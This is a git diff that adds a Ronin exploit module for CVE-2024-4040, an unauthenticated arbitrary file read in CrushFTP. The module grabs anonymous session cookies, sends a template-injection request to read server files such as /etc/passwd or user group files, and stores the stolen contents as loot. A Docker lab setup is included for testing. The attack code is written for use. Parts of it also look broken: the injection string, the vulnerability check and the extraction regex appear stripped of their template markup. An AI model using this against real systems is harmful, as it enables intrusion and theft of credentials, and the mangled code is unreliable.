diff --git a/exploits/crushftp/CVE-2024-4040.rb b/exploits/crushftp/CVE-2024-4040.rb
new file mode 100755
index 0000000..21a81b3
--- /dev/null
+++ b/exploits/crushftp/CVE-2024-4040.rb
@@ -0,0 +1,173 @@
+#!/usr/bin/env -S ronin-exploits run -f
+
+require 'ronin/exploits/web'
+require 'ronin/exploits/mixins/loot'
+
+module Ronin
+ module Exploits
+ #
+ # A Proof-of-Concept exploit for CVE-2024-4040.
+ #
+ # * https://github.com/1ncendium/CVE-2024-4040/blob/5e7c7a34827b39a29c62f240912ac218df764838/exploit.py
+ # * https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability/blob/8fbb976af2b92cdcd7dce5e6baf72e57b099e3bf/exploit.py
+ # * https://github.com/airbus-cert/CVE-2024-4040/blob/8e6652ae88065e0cc6cd0da8d479a40c249274d4/scan_host.py
+ #
+ # ## Improvements
+ #
+ # * Obtains the anonymous session cookie via `GET /WebInterface/`, not
+ # `/WebInterface/login.html`.
+ # * Uses a better regex to extract the included file from the XML response.
+ #
+ # ## Vertification
+ #
+ # ```
+ # FROM ubuntu:latest
+ # WORKDIR /var/opt
+ # RUN apt-get update -qq && \
+ # apt-get install -qq -y unzip wget openjdk-17-jre-headless && \
+ # wget -q https://github.com/the-emmons/CVE-2023-43177/releases/download/crushftp_software/CrushFTP10.zip && \
+ # unzip CrushFTP10.zip
+ #
+ # EXPOSE 21
+ # EXPOSE 8080
+ # EXPOSE 443
+ # EXPOSE 2222
+ # WORKDIR /var/opt/CrushFTP10
+ # CMD ["java", "-Xmx1024m", "-jar", "CrushFTP.jar", "-d"]
+ # ```
+ #
+ # ```
+ # $ docker built -t vuln-crushftp .
+ # $ docker run --rm -p 2121:21 -p 4443:443 -p 8080:8080 -p 9090:9090 -p 2222:2222 vuln-crushftp
+ # ```
+ #
+ # ```
+ # $ bundle exec ./exploits/crushftp/CVE-2024-4040.rb -p base_url=http://localhost:8080 -p file=/etc/passwd
+ # ```
+ #
+ # **Note:** it takes more than a minute for `CrushFTP.jar` to fully boot up.
+ #
+ class CVE_2024_4040 < Web
+
+ include Mixins::Loot
+
+ register 'CVE-2024-4040'
+
+ quality :tested
+ release_date '2024-05-13'
+ disclosure_date '2024-04-26'
+ advisory 'CVE-2024-4040'
+ advisory 'GHSA-46vf-c8gj-2pgq'
+
+ author "Postmodern", email: "postmodern.mod3@gmail.com"
+ summary "Arbitrary File Read in CrushFTP < 10.7.1 and 11.1.0"
+ description <<~DESC
+ CrushFTP versions before 10.7.1 and 11.1.0 are vulnerable to an
+ unauthenticated server side template injection vulnerability that allows
+ reading arbitrary files outside of the VFS Sandbox.
+
+ POST /WebInterface/function/
+ command=exists&paths=FILE_HERE&c2f=...
+
+ DESC
+ references [
+ "https://github.com/1ncendium/CVE-2024-4040",
+ "https://github.com/jakabakos/CVE-2024-4040-CrushFTP-File-Read-vulnerability",
+ "https://github.com/airbus-cert/CVE-2024-4040"
+ ]
+
+ param :file, default: 'users/MainUsers/groups.XML',
+ desc: 'The file to read'
+
+ #
+ # Test whether the target system is vulnerable.
+ #
+ def test
+ unless (cookie = session_cookie)
+ return Unknown("could not obtain session cookies")
+ end
+
+ file = params[:file]
+ injection = "#{file}"
+
+ response = http_post(
+ '/WebInterface/function/', cookie: cookie,
+ form_data: {
+ 'command' => 'exists',
+ 'paths' => injection,
+ 'c2f' => cookie['currentAuth']
+ }
+ )
+
+ if response.code == '200'
+ if response.content_type == 'text/xml'
+ if response.body.include?('')
+ Vulnerable('host is vulnerable')
+ else
+ NotVulnerable('host is patched')
+ end
+ else
+ Unknown("did receive an XML response: #{response.content_type}")
+ end
+ else
+ Unknown("did not return HTTP 200: #{response.code}")
+ end
+ end
+
+ #
+ # Obtains the `currentAuth` cookie using {#session_cookie} and then sends
+ # a HTTP POST to `/WebInterface/function/` with the cookie and form params
+ # with the `FILE_HERE` Server-Side Template Injection.
+ #
+ def launch
+ unless (cookie = session_cookie)
+ fail("could not obtain the session cookies")
+ end
+
+ file = params[:file]
+ injection = "#{file}"
+
+ response = http_post(
+ '/WebInterface/function/', cookie: cookie,
+ form_data: {
+ 'command' => 'exists',
+ 'paths' => injection,
+ 'c2f' => cookie['currentAuth']
+ }
+ )
+
+ if response.code == '200'
+ if response.content_type == 'text/xml'
+ if (match = response.body.match(%r{(.+?)\r\n:false}m))
+ loot.add(file,match[1])
+ else
+ fail("could not extract the included file from the response body: #{response.body.inspect}")
+ end
+ else
+ fail("did not receive a valid XML response: #{response.content_type}")
+ end
+ else
+ fail("POST #{params[:base_url]}/WebInterface/function/ returned HTTP #{response.code}")
+ end
+ end
+
+ #
+ # Sends a HTTP GET request to `/WebInterface/` and returns the
+ # `currentAuth` and `CrushAuth` cookie values.
+ #
+ # @return [Hash, nil]
+ #
+ def session_cookie
+ if (cookies = http_get_cookies('/WebInterface/'))
+ # NOTE: CrushFTP sends the currentAuth and crushAuth cookie values in
+ # two separate Set-Cookie headers.
+ {
+ 'currentAuth' => cookies[0]['currentAuth'],
+ 'CrushAuth' => cookies[1]['CrushAuth']
+ }
+ end
+ end
+
+ end
+ end
+end